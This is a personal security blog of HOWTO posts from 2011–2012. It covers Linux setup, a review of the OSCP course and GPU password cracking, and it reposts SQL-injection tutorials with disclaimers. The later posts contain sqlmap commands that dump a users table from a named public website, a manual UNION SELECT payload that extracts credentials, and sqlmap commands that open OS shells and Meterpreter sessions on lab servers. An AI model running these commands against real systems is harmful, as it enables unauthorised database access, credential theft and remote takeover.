Samiux's Blog

Open Source is a great idea and it has changed the world! Open Source forever ....

While you do not know attack, how can you know about defense? (未知攻,焉知防?)

Do BAD things .... for the RIGHT reasons -- OWASP ZAP

It is easier to port a shell than a shell script. -- Larry Wall

Most of you are familiar with the virtues of a programmer. There are three, of course: laziness, impatience, and hubris. -- Larry Wall

为天地立心，为生民立命，为往圣继绝学，为万世开太平。 -- 王炜

Saturday, January 28, 2012

HOWTO : Using USB Devices on VirtualBox 4.1.8

Using USB devices on VirtualBox 4.1.8, which is installed on Ubuntu 12.04 LTS, is easy.

sudo usermod -a samiux -G vboxusers

*where samiux is the user name

Then, logout and re-login. Or, reboot your system.

Now, you can use USB devices on VirtualBox without any problem. However, some devices do not work properly on USB 2.0 enabled on VirtualBox.

That's all! See you.

Sunday, January 22, 2012

HOWTO : Create a normal user on MySQL and MariaDB

Using a root account on the web applications as user is risky. It is more secure to create a normal user for the web applications.

Step 1 :

mysqladmin -u samiux -p create mydatabase

*where samiux is the normal username and mydatabase is the name of the database of the web applications

Step 2 :

mysql -u root -p

Step 3 :

GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER ON mydatabase.* TO 'samiux'@'localhost' IDENTIFIED BY 'mypassword';

*where mypassword is the password of the user samiux

That's all! See you.

Saturday, January 21, 2012

Course Review - Am I ready for taking Penetration Testing with BackTrack (PWB)

Please be informed that this course has been renamed to "Penetration Testing with Kali Linux (PWK)"

If you decided to take the course - Penetration Testing with BackTrack (PWB), you are required to make sure your knowledge and hardwares are suitable or not. I am now going to share my experience with you all.

Although this course is an entry-level course of Offensive Security, you are required to have some knowledge of networking (including TCP/IP) and capable of operating Linux and Windows systems in command line.

You are also required to have some knowledge of programming. You are not required to be an elite programmer, but you need to understand what a program is and how to read it as well as understand what it is doing. The involved programming language are perl, c, python and bash shell script.

Using of virtual machine, such as VMWare Player or VirtualBox is required. It is because most of the students of the course running their BackTrack on the virtual machine instead of a dedicated machine. That means, you have at least 2GB of system memory for the host computer and guest machine. At least 1GB RAM for the guest will make you more comfortable.

A reasonable speed of internet connection is required. The lab is running on OpenVPN and your router (if any) should be capable of handling VPN connecting. After you registered to the course, you will have chance to test the VPN connection. If the connection is confirmed fine, you can then make the payment. Otherwise, you are not suitable to take the course and do not make the payment.

I have connecting the VPN over my Galaxy Nexus and/or Nexus One on 3G data connection via wifi share with no problem. Anyway, it all depends on the 3G connection quality.

If you will do your lab access at any place, you are suggested to install the BackTrack on the virtul machine and host it on a laptop. The size of the virtual machine is around 20GB as I find this size is more comfortable.

In addition, it is time. Make sure you have a lot of time to do the course and lab. As this course is very hard and time consuming as well as demanding, make sure your family members understood that you have a little time or have no time with them during the course. Sometimes, I even not sleeping for over 24 hours in order to compromise a box in the lab.

At last, taking care of yourself. Do not get flu or sick during the course. Hope you all enjoy the course as I was.

Course Review : Penetration Testing with BackTrack

Course Review - Penetration Testing with BackTrack (PWB)

Please be informed that this course has been renamed to "Penetration Testing with Kali Linux (PWK)"

The Background

About 2 to 3 years ago, I came to know BackTrack 3 and 4. I did not know what this distribution for. At that time, I knew that it is for bad guys according to a local computer magazine.

Later, I came to know the term of "Penetration Testing" and I wanted to know more about this kind of technology and skill. I searched for the videos on the YouTube and learnt something new. However, I did not fully understand what the videos actually talking about and doing.

Some guys in the internet stated that this course (Penetration Testing with BackTrack) is teaching you how to use the BackTrack Linux distribution only and nothing more. Okay, that was not bad at all as I knew nothing about this distribution. Why not took it a try?

Last year, I decided to take this course to learn more about Penetration Test and registered. The course vesion is 3.0 at the time when I took it and it is working very well on BackTrack 5 R1. The price is not high compares with other Information Security courses in the market.

The Course

This course is designed for beginners just like me. It requires you have some knowledge of networking and some programming experience as well as to know how to use Linux and Windows systems. This course is not designed for very skilled and experienced Penetration Testers, in my opinion.

You have a VPN lab, which equipped with several subnets and over 50 machines (I discovered 58), to practice what you have learnt from the course materials. Those machines in the lab are not designed for simple or single step exploitation. You are required to use your creative thinking and skill to compromise those machines.

You are not required to compromise all the machines in the lab in order to take the final challenge, the exam. You can even compromise one machine in the lab and then enroll for the exam. You have 23 hours and 45 minutes to do the exam and submit the report within the next 24 hours. You should enroll the exam within 90 days after the expiration of the lab access time unless you extended it.

The compromised machines in the lab is required to document as well as the exercises in the course materials. In addition, the extra miles in the exercises may count for the exam, I think. So, I suggest to do them all if you can.

In my opinion, make some friends in the #offsec irc channel may help you to solve some problems during the lab access. The most interested thing is that the officials at #offsec irc channel will not help you much for the lab. Sometimes, they may give out hints but sometimes are misleading or useless. They will also tell you to "Try Harder!". Yes, "Try Harder!" is their slogan.

The Challenge

The exam was not easy as I think especially under the pressure. My exam was started in the late evening, that means, I needed to do the exam overnight in the early beginning due to my time zone. I was very tired during the exam. Even I took an hour or so nap, I could not thinking very well. I did some careless mistakes or silly things during the exam and I was wasting a lot of time. My mind was blocked with the problems that I came across. I did not perform very well in the exam.

Finally, the exam was over and the report was submitted. Within 3 business days, I received an email which informed me that I passed the challenge. If you passed the challenge, you will be an Offensive Security Certified Professional (OSCP). I am an OSCP now!

The Conclusion

In conclusion, this course will teach you all the basic Penetration Testing skill and it is worth to take if you are not a very skilled and experienced in this field. I am very enjoy during the course. I learn a lot with the lab and course materials. Recommended!

By toonmanz | View this Toon at ToonDoo | Create your own Toon

Course Review : Am I ready for taking the course of PWB

Thursday, January 19, 2012

HOWTO : BackTrack 5 R1 Minor Bug Fix

(A) unicornscan GeoIP not found :

cp /usr/share/GeoIP/GeoIP.dat /usr/local/etc/unicornscan/

(B) Waiting for audio system to respond

mkdir ~/.config/autostart

nano ~/.config/autostart/pulseaudio.desktop



[Desktop Entry]

Type=Application

Exec=/usr/bin/pulseaudio

Hidden=false

NoDisplay=false

X-GNOME-Autostart-enabled=true

Name=Pulseaudio

Comment=Start Pulseaudio

dpkg-reconfigure wicd

update-rc.d wicd defaults

BackTrack WiKi
BackTrack WiKi

Sunday, January 01, 2012

HOWTO : Cryptohaze Multiforcer on 2 nVidia GeForce GTX 590 and Intel i7-3930K

The Cryptohaze Multiforcer is a high performance CUDA password cracker that is designed to target large lists of hashes. Performance holds very solid with large lists, such that on a suitable server, cracking a list of 1 000 000 passwords is not significantly slower than cracking a list of 10. For anyone who deals with large lists of passwords, this is a very useful tool! Algorithm support includes MD5, NTLM, LM, SHA1, and many others. The official website of Cryptohaze Multiforcer is here.

Download Cryptohaze-Linux_x64_1_30.tar.bz2

tar -xjvf Cryptohaze-Linux_x64_1_30.tar.bz2

cd Cryptohaze-Linux

nano single_charset

Append the following :

ABCEDFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_+|}{":?><`-=\][';/.,

Cracking the sample SHA1 hashes on my two nVidia GeForce GTX 590 system :

./Cryptohaze-Multiforcer -h SHA1 -f test_hashes/Hashes-SHA1-Full.txt -c single_charset --threads 512 --blocks 512 -m 500

Hardware Configuration :

CPU : Intel i7-3930K (12 cores with Hyper-Threading, Socket 2011)
Motherboard : ASUS SaberTooth X79
RAM : Corsair Vengeance DDR3 1600 32GB (4GB x 8)
Display Card : Inno3D nVidia GeForce GTX 590 384bit 3072MB DDR5 x 2
Hard Drive : Seagate SATA II 1TB x 2
Power Supply : Seasonic X-series 1250W
CPU Heat Sink : Corsair H100 Liquid CPU Cooler
Case : Corsair Graphite Series 600T Black

Remarks :

Installation of CUDA on Back|Track 5 R1

That's all! See you.

Sunday, December 25, 2011

HOWTO : Android 4.0 (Galaxy Nexus) File Transfer on Ubuntu 11.10

This tutorial is not my work but is OhHeyitsLou. Please credit to him.

Step by step tutorial

Youtube step by step tutorial

That's all! See you.

HOWTO : BackTrack 5 R1 on Intel X79 Express chipset and nVidia display card

Hardware

CPU : Intel i7-3930K (Socket 2011, 12 cores with HT)
Display card : 2 x nVidia GeForce GTX 590 (1024 CUDA cores per card)

Installation of BackTrack 5 R1

BackTrack 5 R1 can be boot up on Intel X79 Express chipset motherboard with 2 nVidia GeForce GTX 590 display cards. However, "nomodeset" should be applied to the boot option by pressing "tab" on the boot menu.

Install the BackTrack 5 R1 as usual. When it is required to reboot, do not remove the BackTrack 5 R1 CD. Boot up the CD accordingly. After the BackTrack 5 R1 is booted up, mount the hard drive and add "nomodeset" to boot option of the grub.cfg at /boot/grub.

After that, reboot the system and remove the CD. The system will be boot into BackTrack 5 R1 without problem.

If the kernel is upgraded, you should rebuild the kernel headers by the following steps :

prepare-kernel-sources

cd /usr/src/linux

cp -rf include/generated/* include/linux/

Installation of nVidia display driver

Go to nVidia Deleloper Zone CUDA Toolkit 4.0 to download the following. Do not enter to X11 by issuing "startx"; otherwise, the installation will be failed.

(1) Download "Developer Drivers for Linux (270.41.19)" for the nVidia Driver.

32-bit :
wget http://developer.download.nvidia.com/compute/cuda/4_0/drivers/devdriver_4.0_linux_32_270.41.19.run

64-bit :
wget http://developer.download.nvidia.com/compute/cuda/4_0/drivers/devdriver_4.0_linux_64_270.41.19.run

chmod +x devdriver_4.0_linux_xx_270.41.19.run

./devdriver_4.0_linux_xx_270.41.19.run

(2) Download "CUDA Toolkit for Ubuntu Linux 10.10" for the CUDA Toolkit.

32-bit :

wget http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/4_0/toolkit/cudatoolkit_4.0.17_linux_32_ubuntu10.10.run

64-bit :

wget http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/4_0/toolkit/cudatoolkit_4.0.17_linux_64_ubuntu10.10.run

chmod +x cudatoolkit_4.0.17_linux_xx_ubuntu10.10.run

./cudatoolkit_4.0.17_linux_xx_ubuntu10.10.run

(3) Download "GPU Computing SDK" for the nVidia SDK.

wget http://developer.download.nvidia.com/compute/cuda/4_0/sdk/gpucomputingsdk_4.0.17_linux.run

chmod +x gpucomputingsdk_4.0.17_linux.run

./gpucomputingsdk_4.0.17_linux.run

nano /root/.bashrc

Append the following :

export PATH=$PATH:/usr/local/cuda/bin

LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib:/usr/local/cuda/lib64

After that, reboot the system to make the nVidia driver effect.

Installation of pyrit

Go to the official site of pyrit.

http://code.google.com/p/pyrit/downloads/list

Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).

tar -xzvf pyrit-0.4.0.tar.gz

cd pyrit-0.4.0

python setup.py build

python setup.py install

tar -xzvf cpyrit-cuda-0.4.0.tar.gz

cd cpyrit-cuda-0.4.0

python setup.py build

python setup.py install

To test if the installation is correct or not.

pyrit list_cores

pyrit benchmark

pyrit benchmark_long

That's all! See you.

Before water cooling

After water cooling

Friday, December 23, 2011

HOWTO : Ubuntu 12.04 LTS on Intel X79 Express Chipset and nVidia Display Card

At this writing, Ubuntu 12.04 LTS is still under heavy development and at Alpha 1 stage.

It is no problem to boot Ubuntu 12.04 LTS on Intel X79 Express Chipset due to Kernel version 3.2.

If the system is equipped with nVidia display card, you need to set "nomodeset" by pressing F6 on the boot up menu of the Live CD of Ubuntu 12.04 LTS. (Press Enter when "keyboard" and "human" figures appear on the bottom on the screen when booting up)

That's all! See you.

Saturday, December 10, 2011

Exploit writing tutorial

The is the summary of the Corelan's Exploit writing tutorial offical site.

Part 1 : Stack Based Overflows

Part 2 : Stack Based Overflows - jumping to shellcode

Part 3 : SEH Based Exploits

Part 3b : SEH Based Exploits - just another example

Part 4 : From Exploit to Metasploit - The basic

Part 5 : How debugger modules & plugins can speed up basic exploit development

Part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR

Part 7 : Unicode - from 0x00410041 to calc

Part 8 : Win32 Egg Hunting

Part 9 : Introduction to Win32 shellcoding

Part 10 : Chaining DEP with ROP - the Rubik's Cube

Part 11 : Heap Spraying Demystified

That's all! See you.

Friday, September 16, 2011

HOWTO : SQL Injection with SQLmap on Back|Track 5 R1

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to :ruo911

This is ruo911's work but not mine. I re-post it for educational purpose only.

Command

cd /pentest/web/scanners/sqlmap

python sqlmap.py -u http://www.pjirc.com/admin/file.php?id=146 --dbs

python sqlmap.py -u http://www.pjirc.com/admin/file.php?id=146 -D pjirc_forum --tables

python sqlmap.py -u http://www.pjirc.com/admin/file.php?id=146 -T users --columns

python sqlmap.py -u http://www.pjirc.com/admin/file.php?id=146 -T users -U test --dump

try login.

p.s
1. Backtrack 5 R1 - sqlmap
cd /pentest/database/sqlmap

2. user agent options
example)
--user-agent="Mozilla/5.0 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1"

That's all! See you.

HOWTO : SQL Injection by tools

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : medmado1990

This is medmado1990's work but not mine. I re-post it for educational purpose only.

That's all! See you.

HOWTO : Blind SQL Injection

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : KFProdigy

This is KFProdigy's work but not mine. I re-post it for educational purpose only.

Hello everyone, In this tutorial I show you how to manually do an SQL injection into a vulnerable site. Also, at the beginning when i say "google dorks", I dont mean that people from google are dorks, i mean actually go to google and search "dork" or "dorks"
basically its something like "inurl:news.php?id=" or anything along those lines. I hope this helps!

For more tutorials and tools, check out http://sqliunderground.co.cc , I have a really in-depth tutorial on there.
P.S. This is for educational purposes only.

THE THINGS I PASTE
group_concat(table_name)

from information_schema.tables where table_schema=database()--

concat(column,0x3a,column) from table/*

An example would be
Example.com/index.php?id=-32 UNION SELECT 1,2,3,4,5,concat(username,0x3a,password) from adminlogin/*,7,8,9 from information_schema.columns where table_schema=database()--

That's all! See you.

Thursday, September 15, 2011

Official SQLMap video demo series

HOWTO : Offical SQLMap video demonstration 12

Demonstration of sqlmap out-of-band takeover features with Metasploit integration: sqlmap is launched against an ASP test page hosted on a Microsoft Windows 2003 server with back-end database management system being Microsoft SQL Server 2005.

The tool is instructed to identify possible SQL injections, then exploit a database's stored procedure heap-based buffer overflow vulnerability (MS09-004) if it is Microsoft SQL Server 2000 or 2005. sqlmap relies on Metasploit to create the shellcode which gets executed upon successful exploiting of the buffer overflow on the database server and establishes the connection between the user's machine and the database server.

The control is passed over to the Metasploit command line interface where the user can proceed to privilege escalate to SYSTEM by exploiting MS10-015 vulnerability with Meterpreter getsystem command.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/mqsql/iis/get_int.asp?id=1 --os-bof -v 1 --msf-path ~/software/metasploit

That's all! See you.

HOWTO : Offical SQLMap video demonstration 11

Demonstration of sqlmap out-of-band takeover features with Metasploit integration: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being MySQL 5.1.

The tool is instructed to identify possible SQL injections and exploit them by spawning an out-of-band command prompt session between the user's machine and the database server. When the back-end database is MySQL, ASP and PHP languages do not support stacked queries (ASP.NET does though): there is no way to inject different SQL statements in the same HTTP request.

As a result, sqlmap uploads a web shell in a writable directory within the web server document root and uses it to execute the Metasploit payload stager previously created. The out-of-band command prompt session is now established and the control is passed over to the Metasploit command line interface.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/mqsql/get_int.php?id=1 --os-pwn --msf-path /home/inquis/software/metasploit -v 1

That's all! See you.

HOWTO : Offical SQLMap video demonstration 10

Demonstration of sqlmap out-of-band takeover features with Metasploit integration: sqlmap is launched against an ASP.NET test page hosted on a Microsoft Windows 2003 server with back-end database management system being PostgreSQL 8.4.

The tool is instructed to identify possible SQL injections and exploit them by spawning an out-of-band Meterpreter session between the user's machine and the database server then escalating database process' user privileges to SYSTEM. sqlmap first uploads a dynamic-linked library (DLL) used afterwards to create two user-defined functions (sys_exec() and sys_bineval()) in the database.

Then it asks the user for options to create the Metasploit shellcode and executes it in-memory within the database process via the injected sys_bineval() user-defined function.

The out-of-band Meterpreter session is now established and the control is passed over to the Metasploit command line interface where the user can enjoy a SYSTEM shell on the database server.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/iis/get_int_84.aspx?id=1 --os-pwn --msf-path /home/inquis/software/metasploit --priv-esc -v 1

That's all! See you.

HOWTO : Offical SQLMap video demonstration 9

Demonstration of sqlmap command execution features: sqlmap is launched against an ASP.NET test page hosted on a Microsoft Windows 2003 server with back-end database management system being MySQL 5.0.

The tool is instructed to identify possible SQL injections and exploit them by spawning an interactive command prompt where the user can execute commands on the database server operating system. sqlmap first uploads a dynamic-linked library (DLL) used to create two user-defined functions (sys_exec() and sys_eval()) in the database then shows the command prompt.

For each command the user can choose if he wants to retrieve the command standard output or, alternatively, automatically retrieve the output for all commands. If the answer is positive (y or a), sqlmap executes the command once and stores its standard output in a support table.

Either boolean-based blind SQL injection or UNION query SQL injection technique is used to dump the entry of this table and delete it afterwards.

This technique is also implemented for PostgreSQL. On Microsoft SQL Server, xp_cmdshell extended stored procedure is used to execute commands on the underlying operating system.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/mysql/iis/get_int_50.aspx?id=1 --os-shell -v 1 --union-use

That's all! See you.

HOWTO : Offical SQLMap video demonstration 8

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : Bernardo

This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

Original link is here.

Demonstration of sqlmap command execution features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being PostgreSQL 8.4.

The tool is instructed to identify possible SQL injections and exploit them by executing a command on the database server operating system. sqlmap first uploads a dynamic-linked library (DLL) used to create two user-defined functions (sys_exec() and sys_eval()) in the database. Then it asks the user if he wants to retrieve the command standard output.

If the answer is positive, sqlmap executes the command once and stores its standard output in a support table. Either boolean-based blind SQL injection or UNION query SQL injection technique is used to dump the entry of this table and delete it afterwards. This technique is also implemented for MySQL.

On Microsoft SQL Server, xp_cmdshell extended stored procedure is used to execute commands on the underlying operating system.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int.8.4.php?id=1 --os-cmd "id" -v 1

That's all! See you.

HOWTO : Offical SQLMap video demonstration 7

Demonstration of sqlmap file system write access features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being PostgreSQL 8.3.

The tool is instructed to identify possible SQL injections and exploit them by uploading a local file to the database server file system. sqlmap encoded the local file in base64, insert it into a temporary support table then abuses the PostgreSQL Large Object functions to export it to a file on the underlying file system.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1 --write-file /etc/passwd --dest-file /tmp/writetest -v 2

That's all! See you.